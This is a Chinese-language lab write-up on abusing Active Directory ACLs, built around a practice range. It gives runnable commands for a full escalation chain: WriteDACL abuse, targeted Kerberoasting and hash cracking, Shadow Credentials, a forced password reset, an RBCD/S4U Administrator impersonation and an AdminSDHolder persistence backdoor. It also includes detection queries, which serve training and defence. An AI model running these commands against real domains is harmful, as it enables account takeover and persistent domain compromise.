域渗透-How2PwnACLs

序言

ACL在域里算比较复杂的知识，笔者原本熟悉程度也比较一般。但作为内网基础知识，还是有必要掌握的。以下是笔者学习的一些笔记并配套了对应的实战环境，目前环境作为私有挑战已上线xbitsplatform靶场平台。

该挑战需要在已有一个域凭据的情况下，全程通过远程操作完成一些ACL滥用相关的利用。

ACL概念

访问控制列表 (ACL) 是访问控制条目 (ACE) 的列表。ACL 中的每个 ACE 都标识一个受托者，并为该受托者指定允许、拒绝或审计的访问权限。安全对象的安全描述符可以包含两种类型的 ACL：DACL 和 SACL。

使用ADSI edit连接域后，可以看到某个域Object的acl，如下图。列表中的每一条即为ACE。代表以用户bob为主体，描述哪些对象对bob有什么样的权限。

具体打开一条ace，看到域管组对用户bob有一系列的权限：

如何查看ACL

刚才我们通过图形化界面查看了域对象的ACL，在渗透测试中往往使用命令行操作更加方便。我们将做个实验来比较几个工具的优劣:

我们手动增加了用户Apache对bob的完全访问权限:

Active Directory Module

安装：

import-module ActiveDirectory

使用:

(Get-Acl -Path "AD:CN=bob,CN=Users,DC=cia,DC=gov").access

可以看到Apache用户对bob有GenericAll权限

Powerview

Get-ObjectAcl -samAccountName bob -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

和Active Directory Module相比多了一些字段，但少了IdentityReference，导致看起来不直观：

不知道是不是版本问题，和其他人的工具会不一样。不过可以根据SecurityIdentifier指向的sid知道是谁作用于bob。

dsacls.exe

dsacls "CN=bob,CN=Users,DC=cia,DC=gov"

结果比较明了，直接就是FULL CONTROL。

特殊ACEs

但如果我们给的权限只是列表中的一小点，那么看到的结果需要解读，比如我们看到：

表示CIAExchange Trusted Subsystem对bob用户的GUID为bf967a06-0de6-11d0-a285-00aa003049e2的属性有WriteProperty权限。

我们可以通过脚本转换GUID：

$ObjectTypeGUID = @{}
 
$GetADObjectParameter=@{
    SearchBase=(Get-ADRootDSE).SchemaNamingContext
    LDAPFilter='(SchemaIDGUID=*)'
    Properties=@("Name", "SchemaIDGUID")
}
 
$SchGUID=Get-ADObject @GetADObjectParameter
    Foreach ($SchemaItem in $SchGUID){
    $ObjectTypeGUID.Add([GUID]$SchemaItem.SchemaIDGUID,$SchemaItem.Name)
}
 
$ADObjExtPar=@{
    SearchBase="CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)"
    LDAPFilter='(ObjectClass=ControlAccessRight)'
    Properties=@("Name", "RightsGUID")
}
 
$SchExtGUID=Get-ADObject @ADObjExtPar
    ForEach($SchExtItem in $SchExtGUID){
    $ObjectTypeGUID.Add([GUID]$SchExtItem.RightsGUID,$SchExtItem.Name)
}
 
$ObjectTypeGUID | Format-Table -AutoSize
 
$ObjectTypeGUID[[GUID]'bf967961-0de6-11d0-a285-00aa003049e2']

结果：

即：CIAExchange Trusted Subsystem对bob用户的E-mail-Addresses属性有WriteProperty权限。

powerview也可以针对具体某一条查询：

dsacls.exe结果比较简单，只能查询基础ACL，如GenericAll、WriteDAcl等，但胜在能远程查询，其他工具需要在域的上下文中使用：

dsacls.exe "\10.0.0.50CN=bob,CN=Users,DC=cia,DC=gov"

如何赋权

可以使用dsacls进行普通赋权，如WriteACL、GenericAll等。特殊权限可以使用图形化的ADSI远程登录进行修改。

dsacls "\10.0.1.100CN=Brandi.Khan,CN=Users,DC=pwn,DC=local" /I:T /G "pwnAmy.Gibson:WD"

dsacls "\10.0.1.100CN=Carol.Dean,CN=Users,DC=pwn,DC=local" /I:T /G "pwnBrandi.Khan:GA"

dsacls "\10.0.1.100CN=IT administrators,CN=Users,DC=pwn,DC=local" /I:T /G "pwnJane.Ward:GA"

编程实现

很多国外文章都使用BloodHound检测acl，我们看看如何实现：https://github.com/BloodHoundAD/SharpHound3/blob/master/SharpHound3/Tasks/ACLTasks.cs

首先从ldap信息里得到ntsecuritydescriptor：

笔者以往导出ldap信息笔者用的最多的是dsquery，并不会导出acl相关的信息。印象中adfind可以导出sddlstring：

AdFind -b "OU=Employee,DC=Contoso,DC=Com" -s base nTSecurityDescriptor -sddl++ -resolvesids

在https://social.technet.microsoft.com/wiki/contents/articles/6477.active-directory-how-to-view-or-delete-delegated-permissions.aspx?Sort=MostRecent&PageIndex=1这篇文章中发现了很多可以操作ACL的工具。

后续很简单，将数据初始化成ActiveDirectorySecurity实例，取需要的字段与对应值即可：

经过过滤找出允许GenericAll、Write Dacl、Write Owner的aces，之后对特殊的aces进行过滤，主要包括：

1.对DCSYNC权限相关的权限进行检测：

目前dcsync的分析比较透彻了，以下是进行dcsync需要的权限：

2.对ForceChangePassword的检测

3.对ldps进行检查，通过laps可以获取机器本地管理员密码

4.对操作spn及增加用户检查

这里有几个objectAceType为allguid，是00000000-0000-0000-0000-000000000000即作用于所有权限。

解释了上文提到的特殊aces和常规aces作用对象的区别。

二次开发

sharpHound要在域内机器运行，局限性比较大，简单做个二开，增加了远程认证：

工具最后输出对整个域进行安全评估，以下是使用流程：

首先增加到dc的dns解析执行：

7bitsPwnACLs.exe "pwn.localAmy.Gibson" "7Bits@Templete"  > all.txt

获得yin的结果：

标红的都属于非系统默认的ACL的账户，看起来就非常异常。查找具体的规则：

可以看到Amy.Gibson对Brandi.Khan的00000000-0000-0000-0000-000000000000(即所有属性)有writeDACL权限。

脆弱性利用

不安全的配置导致权限提升

需要重点关注的ACE如下：

ForceChangePassword：强制改变当下的密码
 
AddMembers：可以对目标组添加用户（包括自己的账户）
 
GenericAll：完全控制对象，包括更改密码、注册SPN、添加AD对象到目标组里面
 
GenericWrite:更改目标写入参数，导致下次用户登录脚本就要执行
 
WriteOwne：更新目标对象的所有者，可以让自己成为所有者
 
WriteDACL：更新对面的DACL，将ACL写入对面实体，直接授予我们的账户对对象的完全控制权
 
AllExtendedRights：能够对目标对象执行与扩展 AD 权限相关的任何操作。例如，这包括强制更改用户密码的能力。

这些权限可以帮助我们进行一定程度的提权，但一般我们选择对目标破坏性最小的一些方案。

实战案例

我们现在拥有Amy.Gibson的账户密码，可以导出ACL及ldap信息：

Amy.Gibson在ldap方面仅仅是一个普通用户，没有什么可以利用的地方：

objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Amy.Gibson
distinguishedName: CN=Amy.Gibson,CN=Users,DC=pwn,DC=local
instanceType: 4
whenCreated: 04/16/2023 05:29:00
whenChanged: 04/16/2023 06:05:55
uSNCreated: 12880
uSNChanged: 13096
name: Amy.Gibson
objectGUID: {9C994167-7B22-4979-98A1-712505B8E69B}
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 133260965408921060
primaryGroupID: 513
objectSid: S-1-5-21-1540577040-1432127714-718651653-1111
accountExpires: 0
logonCount: 0
sAMAccountName: Amy.Gibson
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=pwn,DC=local
dSCorePropagationData: 01/01/1601 00:00:00
lastLogonTimestamp: 133260987556163029
ADsPath: LDAP://dc.pwn.local/CN=Amy.Gibson,CN=Users,DC=pwn,DC=local

查看整域的acl，可以看到有几个账户都有异常的权限：

[+] show WriteDACLoperation

Administrators
Domain Admins
Enterprise Admins
Account Operators
Amy.Gibson
Brandi.Khan
Jane.Ward

writeDACL on users(Amy.Gibson -> Brandi.Khan)

查看完整的acl信息，Amy.Gibson 对 Brandi.Khan 有writeDACL权限:

Amy.Gibson has WriteDacl to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1115, CN=Brandi.Khan,CN=Users,DC=pwn,DC=local]

我们可以通过远程直接使用ADSI edit赋予Brandi.Khan用户GenericAll权限，普通win10安装域功能后自带该工具：

设置连接参数：

修改Brandi.Khan的权限：

我们现在有Brandi.Khan账户的权限，暴力一些可以直接修改Brandi.Khan的密码，但在实际渗透中不会选择这样做。想要获取其密码我们可以使用targetedKerberoast技术。

targetedKerberoast

这种技术解释起来很简单，就是有修改某一个账户权限的时候给这个账户新增一个spn，之后使用keberoasting破解密码即可。

使用https://github.com/ShutdownRepo/targetedKerberoast这个工具，会自动检测ACL，提供已有的账户密码即可：

最后会自动删除spn。

进行破解，获得Brandi.Khan的密码：

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

获得Brandi.Khan的密码P@ssw0rd。

ShadowCredentials(Brandi.Khan -> Carol.Dean)

通过targetedKerberoast我们已经拥有了Brandi.Khan权限，查看Brandi.Khan相关的acl：

Brandi.Khan has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1141, CN=Carol.Dean,CN=Users,DC=pwn,DC=local]

发现Brandi.Khan对Carol.Dean有GenericAll权限，除了targetedKerberoast技术，我们还可以使用Shadow Credentials技术。

Shadow Credentials简单来说就是我们可以设置某个账户的msDS-KeyCredentialLink属性，msDS-KeyCredentialLink可以设置公私密钥身份验证凭据，并使用它们获取特殊服务票证，该票证在您可以解密的加密 NTLM_SUPPLEMENTAL_CREDENTIAL 实体中的特权属性证书 (PAC) 中包含其 NTLM 哈希。

使用工具https://github.com/ShutdownRepo/pywhisker进行利用:

python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "add" --filename test1

利用成功：

生成了证书及密码文件，使用证书进行认证：

python gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass 0BUDG9Il7okIRHioXkY2 pwn.local/Carol.Dean Carol.Dean.ccache
set KRB5CCNAME=Carol.Dean.ccache
python getnthash.py -key bc427a139e28d2d965a64caf268209a170e29c11b0def6b11ad077fe3e4b4292 pwn.local/Carol.Dean

清理后门：

python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "clear"

ForceChangePassword(Carol.Dean -> Jane.Ward)

Carol.Dean有Jane.Ward的ForceChangePassword权限

Carol.Dean has WriteProperty to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=local]
Carol.Dean has ExtendedRight to 00299570-246d-11d0-a768-00aa006e0529 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=local]

我们可以通过远程MSRPC-SAMR协议修改Jane.Ward的密码，rpcclient默认支持hash认证：

rpcclient -U "pwnCarol.Dean" //10.0.1.100 --pw-nt-hash
>input nthash
rpcclient $> setuserinfo2
setuserinfo2 Jane.Ward 23 Admin7Bits

通过MSRPC我们成功远程修改了Jane.Ward用户的密码。

GenericAll on groups(Jane.Ward -> account opertaors)

Jane.Ward拥有对IT administrators组的GenericAll权限：

Jane.Ward has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1152, CN=IT administrators,CN=Users,DC=pwn,DC=local]

通过ldap信息，我们知道IT administrators 是 account opertaors组的成员：

objectClass: top
objectClass: group
cn: IT administrators
distinguishedName: CN=IT administrators,CN=Users,DC=pwn,DC=local
instanceType: 4
whenCreated: 04/16/2023 09:53:05
whenChanged: 04/16/2023 10:55:21
uSNCreated: 13114
memberOf: CN=Account Operators,CN=Builtin,DC=pwn,DC=local
uSNChanged: 13126
name: IT administrators
objectGUID: {D29F7FE0-13E1-4A20-A46B-63D9BD30D6AD}
objectSid: S-1-5-21-1540577040-1432127714-718651653-1152
adminCount: 1
sAMAccountName: IT administrators
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=pwn,DC=local
dSCorePropagationData: 04/16/2023 10:55:21
dSCorePropagationData: 04/16/2023 09:59:26
dSCorePropagationData: 01/01/1601 00:00:00
ADsPath: LDAP://dc.pwn.local/CN=IT administrators,CN=Users,DC=pwn,DC=local

即Jane.Ward可以通过操作IT administrators组成员达到操作account opertaors组的目的。

关于远程加组的操作，可以使用linux下的net

net rpc group addmem "IT administrators" Jane.Ward -U pwn.local/Jane.Ward -S 10.0.1.100

通过ldap信息发现已经成功加入组：

RBCD(account opertaors -> FLAG$)

最终转化为拥有account opertaors组成员如何提权的问题。

account opertaors组可以操作除了域管组或Administrators组的成员。想要进一步渗透需要借助rbcd技术。(RBCD) Resource-based constrained即基于资源的约束委派。

RBCD简单来说就是控制机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性，该属性指向一个域用户。表示该用户拥有机器的某一服务权限，如LDAP/SMB等，相当于这台机器的隐藏后门。

account opertaors是拥有域内普通机器的修改权限的：

因为设置RBCD需要一个拥有spn的账户，一般用户是没有的。机器账户自带一些spn，所以选择新增一个机器账户，默认一个用户可以新增10个机器账户：

python addcomputer.py -computer-name faker -computer-pass 123456 -dc-ip 10.0.1.100 pwn.local/Jane.Ward:Admin7Bits

使用https://github.com/tothi/rbcd-attack修改AllowedToActOnBehalfOfOtherIdentity属性：

python rbcd.py -dc-ip 10.0.1.100 -t FLAG -f faker pwnJane.Ward:Admin7Bits

笔者这里是windows环境，使用Rubeus工具申请tgt，使用s4u模拟成administrator并smb访问：

Rubeus.exe asktgt /domain:pwn.local /user:faker /password:123456 /dc:10.0.1.100 /outfile:1.KIRBI
Rubeus.exe s4u /ticket:1.KIRBI /impersonateuser:Administrator /msdsspn:cifs/FLAG.pwn.local /altservice:cifs /dc:10.0.1.100 /ptt

后门技术

AdminSDHolder 修改是一种持久性技术，攻击者滥用 Active Directory 中的 SDProp 进程来建立 Active Directory 的持久性后门。每小时（默认情况下），SDProp 将 Active Directory 中受保护对象（例如，具有域管理员权限的用户）的权限与在称为 AdminSDHolder 的特殊容器上定义的权限进行比较。如果它们不同，它将用 AdminSDHolder 上定义的权限替换受保护对象的权限。因此，修改 AdminSDHolder 容器的对手可以建立影子管理路径和重新获得对 Active Directory 的管理访问权限的方法。

被保护的用户组如下：

Account Operators
Backup Operators
Server Operators
Print Operators
Domain Admins
Replicator
Enterprise Admins
Domain Controllers
Read-only Domain Controllers
Schema Admins
Administrators

利用起来比较简单：

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System' -PrincipalIdentity BobT -Rights All

使用 PowerSploit 的 Add-DomainObjectACL cmdlet 将 AdminSDHolder容器上的所有权限授予一个普通账户。下次SDProp进程运行时，普通账户的GenericAll权限将应用于所有受保护的对象。

检测

默认情况下远程对acl的访问、修改不会产生明显日志。需要手动开启审计日志的DS访问：

比如adminsdholder后门，日志id为5136，且ldap属性AttributeLDAPDisplayName为nTSecurityDescriptor安全描述符。

过滤起来就相当容易:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
*[System[(EventID=5136)]]
and
*[EventData[Data[@Name='ObjectDN'] and (Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]]
and
*[EventData[Data[@Name='AttributeLDAPDisplayName'] and (Data='nTSecurityDescriptor')]]
</Select>
  </Query>
</QueryList>

可以通过powershell将日志中的sddlstring转为可见的模式：

总结

1. acl相关的信息源自ldap信息中的安全描述符，读取的风险系数并不高。但对于获取ldap信息都有限制的环境需要谨慎。

2. 修改安全描述符在开启审计日志的情况下比较容易检测，属于高危行为。在利用的时候需要通过GPO确认是否开启了审计日志。

环境获取

本挑战为xbitsplatform私有环境，xbitsplatform邀请码现通过知识星球活动获取：

同时我们也提供完全免费的公开综合靶场环境，如：

记一次团队内部的红蓝对抗-攻击篇

了解更多关于xbitsplatform的信息：

xBitsPlatform使用说明

xBitsPlatform公测版正式上线啦

加入内部讨论群

参考

https://www.secframe.com/blog/2019/account-operators-attacked/

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces

https://www.thehacker.recipes/ad/movement/dacl

https://devblogs.microsoft.com/powershell-community/understanding-get-acl-and-ad-drive-output/

https://powersploit.readthedocs.io/en/latest/

https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse

https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#context

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

https://www.netwrix.com/adminsdholder_modification_ad_persistence.html